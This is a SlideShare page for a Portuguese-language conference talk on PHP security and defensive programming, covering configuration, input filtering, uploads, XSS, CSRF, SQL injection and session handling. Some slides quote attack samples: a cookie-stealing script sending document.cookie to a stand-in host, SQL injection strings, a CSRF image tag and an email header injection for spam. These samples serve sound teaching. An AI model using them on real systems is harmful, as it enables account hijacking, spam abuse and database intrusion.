[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

7.921 visualizações

Publicada em

Todos os dias, diversas de pessoas ao redor do mundo começam a programar em PHP. É uma linguagem fácil de ser aprendida e, por isso, pode fazer com que desenvolvedores despreparados criem sistemas vulneráveis. O objetivo dessa palestra é apresentar as principais vulnerabilidades de aplicações PHP e a maneira de contorná-las. Serão mostradas também técnicas de programação defensiva, resposta a incidentes, prevenção de perdas e outros tópicos relevantes à segurança da informação. Princípios de segurança, técnicas de invasão e defesa, identificação e prevenção de ataques, boas práticas e proteção do usuário fazem parte dos assuntos abordados nessa palestra.

Publicada em: Tecnologia
0 comentários
18 gostaram
Estatísticas
Notas
  • Seja o primeiro a comentar

Sem downloads
Visualizações
Visualizações totais
7.921
No SlideShare
0
A partir de incorporações
0
Número de incorporações
4.150
Ações
Compartilhamentos
0
Downloads
96
Comentários
0
Gostaram
18
Incorporações 0
Nenhuma incorporação

Nenhuma nota no slide

[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva - Rafael Jaques

  1. 1. PHP no Campo de Batalha Segurança Avançada e Programação Defensiva Rafael Jaques @rafajaques
  2. 2. “Porque Deus amou o mundo de tal maneira que deu o seu Filho Unigênito, para que todo aquele que nele crê não pereça, mas tenha a vida eterna. Portanto, Deus enviou o seu Filho ao mundo não para condenar o mundo, mas para que o mundo fosse salvo por meio dele.” (João 3.16-17)
  3. 3. Rafael Jaques Professor do Instituto Federal de Educação, Ciência e Tecnologia do Rio Grande do Sul. Graduado em Análise e Desenvolvimento de Sistemas. Pós-graduado em Gestão e Docência do Ensino Superior. Desenvolvedor web e viciado em segurança.
  4. 4. www.php-rs.org
  5. 5. Slides da Palestra
  6. 6. 1 Segurança da informação
  7. 7. Pontos-chave da SI Integridade Confidencialidade Disponibilidade
  8. 8. COMO VOU DESENVOLVER UMA APLICAÇÃO COM TUDO ISSO?!?!?!?!?!?!
  9. 9. Vamos por partes!
  10. 10. Tudo começa com planejamento!
  11. 11. 2 Planejamento
  12. 12. Planejamento Projete o seu sistema Estude antes de implementar Revise o que foi feito Conheça o seu ambiente
  13. 13. Planejamento Projete o seu sistema Estude antes de implementar Revise o que foi feito Conheça o seu ambiente
  14. 14. Conheça o seu ambiente
  15. 15. php.ini Conheça o seu ambiente phpinfo() php.net/manual/ini.php
  16. 16. Conheça o seu ambiente
  17. 17. Altere as configurações do php.ini ini_set() httpd.conf .htaccess php.ini Conheça o seu ambiente
  18. 18. Gerenciamento de erros do PHP display_errors log_errors error_log Conheça o seu ambiente
  19. 19. Conhecer o sistema inclui saber os problemas do servidor!
  20. 20. Problemas no servidor Defesa em profundidade
  21. 21. Problemas no servidor Lei do menor privilégio
  22. 22. 3 Melhorando o código desenvolvido
  23. 23. Como desenvolver um bom código?
  24. 24. Tudo começa com BOAS PRÁTICAS
  25. 25. Warning: Cannot modify header information - headers already sent by (output started at / path/to/script.php:1) in script.php on line 55 Omita as tags de fechamento Boas práticas
  26. 26. Utilize extensões consistentes Boas práticas .php .inc.php .inc .php~ .bak httpd.conf AddType application/x-httpd-php .php .phtml
  27. 27. DRY Don’t repeat yourself Boas práticas
  28. 28. == != === Cuidado ao efetuar comparações Boas práticas “1” == 1 “1” === 1 true == 1 True False true === 1 NULL == false NULL === falseTrue True False False
  29. 29. Nunca edite arquivos em produção Boas práticas
  30. 30. Funções perigosas exec( )Não execute bobagem no seu sistema shell_exec( ) system( ) passthru( ) proc_*( ) escapeshellcmd() escapeshellarg()
  31. 31. eval( )Não execute bobagem no seu código Funções perigosas
  32. 32. Seu ambiente também precisa de cuidado e atenção
  33. 33. Configuração do ambiente HeadersPodem denunciar o seu servidor expose_php php.ini
  34. 34. Apache ServerTokens Prod Major Minor Min Os Full Configuração do ambiente
  35. 35. Gerenciar os erros pode salvar seu dia!
  36. 36. Gerenciamento de erros display_errors error_reporting log_errors error_log Mostrar erros na tela Nível de erro mostrado Logar erros Arquivo de log
  37. 37. set_error_handler( ) error_log( ) Indica uma função para manipular erros Loga um erro personalizado Gerenciamento de erros
  38. 38. 4 Filtragem de dados
  39. 39. Filtragem de dados Bypass Mistake Origin
  40. 40. isset( ) is_array( ) is_bool( ) is_float( ) is_int( ) is_null( ) is_numeric( ) is_object( ) is_string( ) Filtragem de dados
  41. 41. Type Casting Assegure-se dos tipos de dados $numero = (int) $variavel; $numero = (float) $variavel; Filtragem de dados
  42. 42. Type Casting Assegure-se dos tipos de dados $numero = settype($variavel, ‘integer’); $bool = settype($variavel, ‘boolean’); $texto = settype($variavel, ‘string’); Filtragem de dados
  43. 43. Type Casting Assegure-se dos tipos de dados $numero = intval($variavel); $numero = floatval($variavel); $texto = strval($variavel); Filtragem de dados
  44. 44. ValidateSanitizefilter_var( ) Validating && SanitizingBloqueie valores indesejados Filtragem de dados
  45. 45. filter_var() php.net/filter.filters FILTER_VALIDATE_* FILTER_SANITIZE_* Validação de dados
 Verifica se
 determinado valor encontra-se dentro dos parâmetros esperados. Limpeza de dados Retira de um determinado valor todos os caracteres que
 não são permitidos.
  46. 46. Validação filter_var( , )$valor CONSTANTE_FILTRO Valor filtrado bool(false)
  47. 47. Validação FILTER_VALIDATE_INT “7” 7 0 true false int(7) int(7) int(0) int(1) bool(false) “10 teste” “palavra” -5 3.1 bool(false) bool(false) int(-5) bool(false) bool(false)+0 || -0
  48. 48. Validação FILTER_VALIDATE_EMAIL “rafa@php.net" string(12) “rafa@php.net” “1@2.3" bool(false) 5 bool(false) “1@2” bool(false) “phpit.com.br” bool(false) “joao quem”@site.com bool(false)
  49. 49. Validação FILTER_VALIDATE_FLOAT php.net/filter.filters.validate FILTER_VALIDATE_BOOLEAN FILTER_VALIDATE_IP FILTER_VALIDATE_URL
  50. 50. Limpeza FILTER_SANITIZE_URL http://phpit.com.br http://phpit.com.br£ phpitº.com.br br¶ § string(19) "http://phpit.com.br" string(19) "http://phpit.com.br" string(12) "phpit.com.br" string(2) "br" string(0) ""
  51. 51. FILTER_SANITIZE_STRING uma string string(10) "uma string" string(12) "uma string *" string(21) "uma string&lt;tag&gt;" Limpeza <tag>uma string * <tag>uma string&lt;tag&gt;
  52. 52. Limpeza FILTER_SANITIZE_EMAIL php.net/filter.filters.validate FILTER_SANITIZE_SPECIAL_CHARS FILTER_SANITIZE_ENCODED FILTER_SANITIZE_NUMBER_INT
  53. 53. Cuidados com Formulários
  54. 54. Spoofed Form Submissions Cuidados com formulários
  55. 55. Spoofed HTTP Requests Cuidados com formulários
  56. 56. Abuso de form mail Cuidados com formulários
  57. 57. Abusodeformmail <?php $cabecalhos = "From: {$_POST['nome']} <{$_POST['email']}>"; $para = "email@seguro.com"; $assunto = "Contato via site"; $corpo = $_POST['mensagem']; mail($para, $assunto, $corpo, $cabecalhos);
  58. 58. Abusodeformmail From: Fulaninho <meu@email.com> To: email@seguro.com Subject: Contato via site Esta é a mensagem do e-mail Esperado FulaninhonBcc:um@email.com,spam@enviar.com,
  59. 59. Abusodeformmail From: Fulaninho Bcc: um@email.com, spam@enviar.com, <meu@email.com> To: email@seguro.com Subject: Contato via site Aqui coloco uma mensagem de SPAM sobre viagra ou algo assim! Possível
  60. 60. 5 Upload de arquivos
  61. 61. MIME Type do $_FILES Upload de arquivos
  62. 62. Algoritmo de Análise de Conteúdo
  63. 63. Verificar o tipo da imagem exif_imagetype( ) Upload de arquivos
  64. 64. php.net/function.exif-imagetype Upload de arquivos
  65. 65. Ressalvar imagens Upload de arquivos
  66. 66. Diretivas de upload upload_max_filesize post_max_size Upload de arquivos
  67. 67. rafajaques   Palestra  de  PHP exemplo.txt Upload de arquivos
  68. 68. Array   (        [arquivo]  =>  Array              (                    [name]  =>  exemplo.txt                    [type]  =>  text/plain                    [tmp_name]  =>  /tmp/php3IdMTx                    [error]  =>  0                    [size]  =>  33              )   ) Upload de arquivos
  69. 69. POST  /upload.php  HTTP/1.1   Host:  localhost   Content-­‐Type:  multipart/form-­‐data;  boundary=-­‐-­‐-­‐-­‐12345   Content-­‐Length:  413   -­‐-­‐-­‐-­‐12345   Content-­‐Disposition:  form-­‐data;  name="arquivo";   filename="exemplo.txt"   Content-­‐Type:  text/plain   rafajaques   Palestra  de  PHP   -­‐-­‐-­‐-­‐12345-­‐-­‐ Upload de arquivos
  70. 70. Movendo arquivos enviados is_uploaded_file( ) move_uploaded_file( ) Upload de arquivos
  71. 71. 6 Injeção de código
  72. 72. XSSCross-SiteScripting
  73. 73. XSS Cross-SiteScripting <script> document.location = "http://sitedomal.com?c=" + document.cookie </script>
  74. 74. XSS Cross-SiteScripting Filtrar dados externos Utilize as funções de filtro Utilize uma white-list
  75. 75. htmlentities( ) strip_tags( ) XSS Cross-SiteScripting Utilize as funções de filtro utf8_decode( ) filter_var( )
  76. 76. XSS Cross-SiteScripting Cuidado com injeção de CSS expression( ) url( ) Métodos
 específicos moz- binding
  77. 77. CSRFCross-SiteRequestForgery
  78. 78. CSRF Cross-SiteRequestForgery http://meusite.com/voto.php?id=1 <img src="http://meusite.com/voto.php?id=1" />
  79. 79. CSRF Cross-SiteRequestForgery Exigir um token Solicitar reautenticação Prefira POST em vez de GET Limite o tempo de sessão Verificar Referer Force o uso de seus formulários uniqid( ) $_SERVER['HTTP_REFERER']
  80. 80. Outros tipos de injeção XPath LDAP Bibliotecas de terceiros Upload de arquivos
  81. 81. Indo além da Validação de dados
  82. 82. Além da validação Regras de negócio Filtrou a entrada? Filtre a saída! Não confie nos cookies!
  83. 83. 7 Segurança em bancos de dados
  84. 84. SGBDs suportados pelo PHP php.net/refs.database dBaseDB++CUBRID FrontBaseFireBird/InterbasefilePro IngresInformixIBM DB2 mSQLMongoMaxDB OracleMySQLM$ SQL PostgreSQLParadoxOvrimos SQL Tokyo TyrantSybaseSQLite
  85. 85. Conceitos básicos de segurança em Bancos de Dados
  86. 86. Lei do Menor Privilégio
  87. 87. Não permita Acesso Remoto
  88. 88. Prefira utilizar UTF-8
  89. 89. Escapar caracteres não é seguro mysql_real_escape_string( ) addslashes( )
  90. 90. SQL e Blind SQL Injection
  91. 91. SQLInjection
  92. 92. SQLInjection Injeção de código SQL arbitrário dentro de uma consulta legítima.
  93. 93. SQLInjection
  94. 94. SQLInjection 1' OR 1='1
  95. 95. SQLInjection fulano'# ou fulano' --
  96. 96. SQLInjection Blind
  97. 97. Injeção de código arbitrário sem visualização da saída do banco. BlindSQLInjection
  98. 98. sqlmap
  99. 99. Prepared Statements e ORMs
  100. 100. Prepared Statements Declarações preparadas Compila as consultas SQL Utiliza placeholders
  101. 101. Declarações preparadas INSERT INTO produtos (nome, preco) VALUES (?, ?) Prepared Statements
  102. 102. ORM Object-relational mapping Reduz a escrita de SQL Acesso ao banco através de classes
  103. 103. ORMs
  104. 104. Exposição de credenciais
  105. 105. O que acontece se alguém tiver acesso aos seus arquivos?
  106. 106. E se o PHP parar de funcionar?
  107. 107. E se houver um include mal programado?
  108. 108. 8 Cookies e sessions
  109. 109. Cookies são client-side Sessions são server-side Cookies e Sessions
  110. 110. Cliente Servidor Requisição HTTP Resposta HTTP + Set Cookie Requisição HTTP Resposta HTTP Cookies e Sessions
  111. 111. Servidor session_start() Verifica se a sessão existe Procura pelo SESSID em um cookie Procura pelo SESSID numa querystring Busca os dados e cria a $_SESSION Sim Sim Não Cria uma nova SESSID Não Cookies e Sessions
  112. 112. Roubo de Cookie (Cookie Theft)
  113. 113. Não costumam existir vulnerabilidades de navegador para roubo de cookies
  114. 114. Tome cuidado com XSS
  115. 115. Cookies também podem ser roubados com sniffers Proteja utilizando HTTPS
  116. 116. Vulnerabilidades de Sessão
  117. 117. Exposição de Sessão Dados de sessão podem ser visualizados via sniff quando não criptografado com HTTPS
  118. 118. Hospedagens compartilhadas podem vazar dados dentro dos diretórios com permissões de leitura a todos Utilize session_set_save_handler() para alterar o comportamento de gravação dos dados de sessão Exposição de Sessão
  119. 119. Não é o roubo de um ID de sessão. É a imposição de um! Fixação de Sessão
  120. 120. Não permita que sejam utilizados SID não gerados pela aplicação Fixação de Sessão
  121. 121. Gere um novo SID em cada requisição Utilize session_regenerate_id() Páginas com muito tráfego acabam gerando SID inválidos Fixação de Sessão
  122. 122. Roubo de Sessão (Session Hijacking)
  123. 123. Roubo de Sessão É possível fixar um SID, forjar ou até mesmo capturar um cookie!
  124. 124. Algumas sugestões para evitar roubo de sessão (tente equilibrar usabilidade e segurança): Gerar tokens únicos por usuário Verificar User-Agent e IP Utilizar sessões apenas via cookies Roubo de Sessão
  125. 125. Não sacrifique a usabilidade do projeto!
  126. 126. não
  127. 127. Boas práticas
  128. 128. Nunca utilize cookies para autenticação Prefira cookies para informações não-vitais
  129. 129. Utilize sessões sempre em conjunto com cookies Ajuda a prevenir o roubo de sessão
  130. 130. pagina.php?PHPSESSID=1234
  131. 131. php.ini session.use_cookies session.use_only_cookies GET / HTTP/1.1 Host: algumsite.com User-Agent: Mozilla/5.0 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Cookie: PHPSESSID=3108c6a684a89787947087d4e46f278d Cache-Control: max-age=0
  132. 132. Cuidado com hospedagem compartilhada ou dois sites no mesmo servidor Pode ocorrer choque de sessão
  133. 133. Utilize session_destroy() e não apenas remova o cookie Um cookie roubado pode reinicializar uma sessão
  134. 134. Destrua a sessão antes de alterar o nível de permissão de usuário autenticado Impede que uma sessão de guest seja utilizada para um usuário autenticado
  135. 135. 9 Tráfego na web
  136. 136. Fluxo do tráfego Cliente Servidor Requisição HTTP Resposta HTTP Requisição HTTP Resposta HTTP
  137. 137. Sniffers em redes abertas
  138. 138. Wireshark
  139. 139. Configurando um certificado SSL
  140. 140. http://www.phpit.com.br/artigos/configurando-ssl- servidor-de-desenvolvimento-apache.phpit Gerando um certificado para testes
  141. 141. Alternando entre HTTP e HTTPS
  142. 142. Leves diferenças na $_SERVER sob HTTPS
  143. 143. $_SERVER [HTTP_HOST] => localhost [SERVER_SOFTWARE] => Apache/2.2.22 [SERVER_NAME] => localhost [SERVER_ADDR] => 127.0.0.1 [SERVER_PORT] => 80 [REMOTE_ADDR] => 127.0.0.1 [DOCUMENT_ROOT] => /var/www HTTP [HTTPS] => on [SSL_TLS_SNI] => localhost [HTTP_HOST] => localhost [SERVER_SOFTWARE] => Apache/2.2.22 [SERVER_NAME] => localhost [SERVER_ADDR] => 127.0.0.1 [SERVER_PORT] => 443 [REMOTE_ADDR] => 127.0.0.1 [DOCUMENT_ROOT] => /var/www HTTPS
  144. 144. Force a utilização do protocolo HTTPS Via aplicação ou via apache
  145. 145. Monitorar logs Manter PHP atualizado Frameworks Segurança física Últimas dicas
  146. 146. Sempre que possível, utilize código refatorado Exposição phpinfo() Cuidados ao enviar e-mails Segurança no sistema de arquivos Últimas dicas
  147. 147. Obrigado! Rafael Jaques rafa@php.net phpit.com.br @rafajaques slideshare.net/rafajaques youtube.com/realphpit w @
  148. 148. Imagens utilizadas • https://flic.kr/p/5Ndwd8 • https://flic.kr/p/i3NEP6

×